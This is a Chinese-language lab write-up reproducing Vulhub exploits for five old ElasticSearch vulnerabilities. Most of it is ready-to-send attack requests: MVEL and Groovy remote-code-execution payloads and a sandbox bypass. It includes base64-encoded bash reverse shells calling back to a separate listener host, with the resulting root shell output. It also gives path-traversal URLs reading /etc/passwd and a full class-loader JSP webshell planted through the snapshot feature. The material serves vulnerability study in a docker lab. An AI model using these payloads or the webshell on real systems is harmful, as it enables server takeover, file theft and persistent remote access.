Vulhub 漏洞学习之:ElasticSearch

1 ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.1.1

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,利用MVEL通过以下命令直接执行任意代码:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

1.1 环境安装

docker-compose build
docker-compose up -d

1.2 漏洞利用过程

  1. Payload

    {
    "size": 1,
    "query": {
    "filtered": {
    "query": {
    "match_all": {
    }
    }
    }
    },
    "script_fields": {
    "command": {
    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
    }
    }
  2. 该漏洞需要es中至少存在一条数据,创建数据:

    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25 {
    "name": "phithon"
    }
  3. 执行任意代码:

    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 343 {
    "size": 1,
    "query": {
    "filtered": {
    "query": {
    "match_all": {
    }
    }
    }
    },
    "script_fields": {
    "command": {
    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
    }
    }

    1.3 GetShell

  4. GetShell的Payload

    POST /_search?pretty HTTP/1.1
    Host: 192.168.210.13:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 455 {
    "size": 1,
    "query": {
    "filtered": {
    "query": {
    "match_all": {
    }
    }
    }
    },
    "script_fields": {
    "command": {
    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgCg==}|{base64,-d}|{bash,-i}\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
    }
    }
  5. 成功GetShell

    $ nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 48194
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@1e49828c7901:/usr/share/elasticsearch# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@1e49828c7901:/usr/share/elasticsearch#

2 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.4.2

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。

  1. 是一个沙盒绕过
  2. 是一个Goovy代码执行漏洞

原理参考

Remote Code Execution in Elasticsearch - CVE-2015-1427 (jordan-wright.com)

2.1 POC构造

lupin和tang3分别提出了两种执行命令的方法:

  1. 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
  2. Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言

所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。

Java沙盒绕过法:

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy直接执行命令法:

def command='id';def res=command.execute().text;res

2.2 环境安装

docker-compose build
docker-compose up -d

2.3 漏洞利用过程

要求es中至少有一条数据,增加数据:

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25 {
"name": "test"
}

2.3.1 使用Java反射方法绕过沙盒

POST /_search?pretty HTTP/1.1
Host: 192.168.210.13:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489 {
"size":1,
"script_fields": {
"test#": {
"script":
"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()", "lang": "groovy"
}
} }

2.3.2 利用Groovy语言执行命令

POST /_search?pretty HTTP/1.1
Host: 192.168.210.13:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 158 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

2.4 GetShell

  1. GetShell的Payload

    POST /_search?pretty HTTP/1.1
    Host: 192.168.210.13:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 257 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgCg==}|{base64,-d}|{bash,-i}\").getText()"}}}
  2. 成功GetShell

    $ nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 37106
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@270236e1e4d5:/usr/share/elasticsearch# id
    id
    uid=0(root) gid=0(root) groups=0(root)

3 ElasticSearch 目录穿越漏洞(CVE-2015-3337)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.4.4
  • 影响版本:1.4.5以下/1.5.2以下

3.1 POC构造

在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

3.2 环境安装

docker-compose build
docker-compose up -d

测试环境需要安装了一个插件:elasticsearch-head

3.3 漏洞利用过程

  1. 查看所有已安装的插件:http://your-ip:9200/_cat/plugins

  2. 访问已安装的插件:http://your-ip:9200/_plugin/head/

  3. 访问/_plugin/head,根据漏洞成因,利用../实现目录穿越。(不要在浏览器中访问)

    http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd

4 ElasticSearch 目录穿越漏洞(CVE-2015-5531)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.6.0
  • 影响版本:1.6.1以下

:elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

ElasticSearch 1.6.0 - Arbitrary File Download - Linux webapps Exploit (exploit-db.com)

4.1 POC构造

漏洞利用需要涉及到elasticsearch的备份功能,elasticsearch 提供了一套强大的API,使得elasticsearch备份非常简单,要实现备份功能。前提是elasticsearch 进程对备份目录有写入权限,一般来说我们可以利用/tmp 或者elasticsearch 自身的安装目录,默认情况下这两个目录elasticsearch 进程都是有写入权限的。

4.2 环境安装

docker-compose build
docker-compose up -d

4.3 漏洞利用过程

  1. 新建一个仓库

    PUT /_snapshot/test HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 108 {
    "type": "fs",
    "settings": {
    "location": "/usr/share/elasticsearch/repo/test"
    }
    }
  2. 创建一个快照

    PUT /_snapshot/test2 HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 108 {
    "type": "fs",
    "settings": {
    "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
    }
    }
  3. 目录穿越读取任意文件

    • 访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
  4. 在错误信息中包含文件内容(编码后),对其进行解码即可获得文件

5 Elasticsearch写入webshell漏洞(WooYun-2015-110216)

5.1 POC构造

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。

所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

5.2 环境安装

编译与启动测试环境:

docker-compose build
docker-compose up -d

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch

我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。

5.3 漏洞利用过程

  1. 创建一个恶意索引文档:

    curl -XPOST http://192.168.50.4:9200/yz.jsp/yz.jsp/1 -d'
    {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
    ' // BP Payload
    POST /test.jsp/test.jsp/1 HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 228
    Content-Type: application/x-www-form-urlencoded {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

  2. 创建一个恶意的存储库,其中location的值即为要写入的路径。

    curl -XPUT 'http://192.168.50.4:9200/_snapshot/yz.jsp' -d '{
    "type": "fs",
    "settings": {
    "location": "/usr/local/tomcat/webapps/wwwroot/",
    "compress": false
    }
    }' // BP Payload
    PUT /_snapshot/test.jsp HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 142
    Content-Type: application/x-www-form-urlencoded {
    "type": "fs",
    "settings": {
    "location": "/usr/local/tomcat/webapps/wwwroot/",
    "compress": false
    }
    }

    这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

  3. 存储库验证并创建:

    curl -XPUT "http://192.168.50.4:9200/_snapshot/yz.jsp/yz.jsp" -d '{
    "indices": "yz.jsp",
    "ignore_unavailable": "true",
    "include_global_state": false
    }' // BP Payload
    PUT /_snapshot/test.jsp/test.jsp HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 105
    Content-Type: application/x-www-form-urlencoded {
    "indices": "test.jsp",
    "ignore_unavailable": "true",
    "include_global_state": false
    }

  4. 路径http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp为写入的Webshell。该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:写入success字符。

    http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp?f=success
  5. 验证是否写入成功

     curl -XGET "http://192.168.50.4:8080/wwwroot/test.jsp"
    success

5.4 GetShell

  1. 找一个jsp的webshell,密码为:acmd

    <%!
    class OPERAND extends ClassLoader{
    OPERAND(ClassLoader c){super(c);}
    public Class hack(byte[] b){
    return super.defineClass(b, 0, b.length);
    }
    }
    public byte[] trace(String str) throws Exception {
    Class base64;
    byte[] value = null;
    try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception e) {
    try {
    base64=Class.forName("java.util.Base64");
    Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
    value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
    }
    return value;
    }
    %>
    <%
    String cls = request.getParameter("acmd");
    if (cls != null) {
    new OPERAND(this.getClass().getClassLoader()).hack(trace(cls)).newInstance().equals(new Object[]{request,response});
    }
    %>
  2. 对JSP的WEBShell代码进行url编码

    1. 在线URL编码解码工具-UrlEncode编码-UrlDecode解码在线工具 (jsons.cn)
  3. 构造最后的Payload,并利用浏览器写入payload

    http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp?f=%3C%25!%0Aclass%20OPERAND%20extends%20ClassLoader%7B%0A%20%20OPERAND(ClassLoader%20c)%7Bsuper(c)%3B%7D%0A%20%20public%20Class%20hack(byte%5B%5D%20b)%7B%0A%20%20%20%20return%20super.defineClass(b%2C%200%2C%20b.length)%3B%0A%20%20%7D%0A%7D%0Apublic%20byte%5B%5D%20trace(String%20str)%20throws%20Exception%20%7B%0A%20%20Class%20base64%3B%0A%20%20byte%5B%5D%20value%20%3D%20null%3B%0A%20%20try%20%7B%0A%20%20%20%20base64%3DClass.forName(%22sun.misc.BASE64Decoder%22)%3B%0A%20%20%20%20Object%20decoder%20%3D%20base64.newInstance()%3B%0A%20%20%20%20value%20%3D%20(byte%5B%5D)decoder.getClass().getMethod(%22decodeBuffer%22%2C%20new%20Class%5B%5D%20%7BString.class%20%7D).invoke(decoder%2C%20new%20Object%5B%5D%20%7B%20str%20%7D)%3B%0A%20%20%7D%20catch%20(Exception%20e)%20%7B%0A%20%20%20%20try%20%7B%0A%20%20%20%20%20%20base64%3DClass.forName(%22java.util.Base64%22)%3B%0A%20%20%20%20%20%20Object%20decoder%20%3D%20base64.getMethod(%22getDecoder%22%2C%20null).invoke(base64%2C%20null)%3B%0A%20%20%20%20%20%20value%20%3D%20(byte%5B%5D)decoder.getClass().getMethod(%22decode%22%2C%20new%20Class%5B%5D%20%7B%20String.class%20%7D).invoke(decoder%2C%20new%20Object%5B%5D%20%7B%20str%20%7D)%3B%0A%20%20%20%20%7D%20catch%20(Exception%20ee)%20%7B%7D%0A%20%20%7D%0A%20%20return%20value%3B%0A%7D%0A%25%3E%0A%3C%25%0AString%20cls%20%3D%20request.getParameter(%22acmd%22)%3B%0Aif%20(cls%20!%3D%20null)%20%7B%0A%20%20new%20OPERAND(this.getClass().getClassLoader()).hack(trace(cls)).newInstance().equals(new%20Object%5B%5D%7Brequest%2Cresponse%7D)%3B%0A%7D%0A%25%3E%0A
  4. 成功GET Shell

Vulhub 漏洞学习之:ElasticSearch的更多相关文章

  1. vulhub漏洞环境

    0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...

  2. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  3. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  4. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  5. ubuntu搭建vulhub漏洞环境

    0x01 简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像.旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身. ...

  6. XXE漏洞学习笔记

    XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...

  7. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  8. JWT漏洞学习

    JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...

  9. 【转】Vulhub - 开源的安全漏洞学习与复现项目

    转载于:https://uk.v2ex.com/t/485611#reply15 Vulhub 是一个面向大众的开源漏洞靶场,无需 docker 知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场 ...

  10. KALI搭建Docker+Vulhub漏洞复现环境

    在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...

随机推荐

  1. Day31面向对象之魔法方法

    Day31面向对象之魔法方法 类的常用魔法方法如下 序号 双下方法 触发条件 1 init 对象添加独有数据的时候自动触发 2 str 对象被执行打印操作的时候自动触发 3 call 对象加括号调用的 ...

  2. 【Java Web】项目通用返回模块ServerResponse:枚举code状态码、泛型返回值、序列化注解限制数据

    一.枚举类编写ResponseCode package com.boulderaitech.common; /** * 编写枚举类的步骤 * (1)编写所需的变量 * (2)编写枚举类构造方法 * ( ...

  3. 简易博客页面小项目 html css

    项目预览 代码 html: <!DOCTYPE html> <html lang="en"> <head> <meta charset=& ...

  4. Java开发如何通过IoT边缘ModuleSDK进行协议转换?

    摘要:使用ModuleSDK开发插件应用,接入其他协议设备(如HTTP请求数据),将其他协议的数据转化为MQTT协议JSON数据上报到IoTDA. 本文分享自华为云社区<[华为云IoTEdge开 ...

  5. 解析【.mdb】文件

    有一些项目用的是微软的access软件,这里面存放数据用的是mdb结尾的文件 有的时候,客户想开发一个新的系统,但是数据需要从这些文件中获取,因此得解析这些文件,来提取数据 一.解析时用到的依赖 1. ...

  6. 如何使用 IdGen 生成 UID

    在分布式系统中,雪花 ID 是一种常用的唯一 ID 生成算法.它通过结合时间戳.机器码和自增序列来生成 64 位整数 ID,可以保证 ID 的唯一性和顺序性. 在.Net 项目中,我们可以使用 IdG ...

  7. Vue3.0 生命周期

    所有生命周期钩子的this上下文都是绑定至实例的. beforeCreate:在实例初始化之后.进行数据帧听和事件/侦听器的配置之前同步调用. created:实例创建完成,主要包括数据帧听.计算属性 ...

  8. [数据结构]单向链表及其基本操作(C语言)

    单向链表 什么是单向链表 链表是一种物理储存单元上非连续.非顺序的储存结构.它由一系列结点(链表中每一个元素称为结点)组成,结点可动态生成.每个结点包括两个部分:一个是存储数据元素的数据域,另一个是存 ...

  9. 图计算引擎分析——Gemini

    前言 Gemini 是目前 state-of-art 的分布式内存图计算引擎,由清华陈文光团队的朱晓伟博士于 2016 年发表的分布式静态数据分析引擎.Gemini 使用以计算为中心的共享内存图分布式 ...

  10. anaconda peompt 、labalimg 数据标注

    安装anaconda,进行数据标注 1.安装前准备:下好安装包和所需文件 https://www.aliyundrive.com/s/XyH2JQ5TjCz 提取码: 3c2w 2.运行anacond ...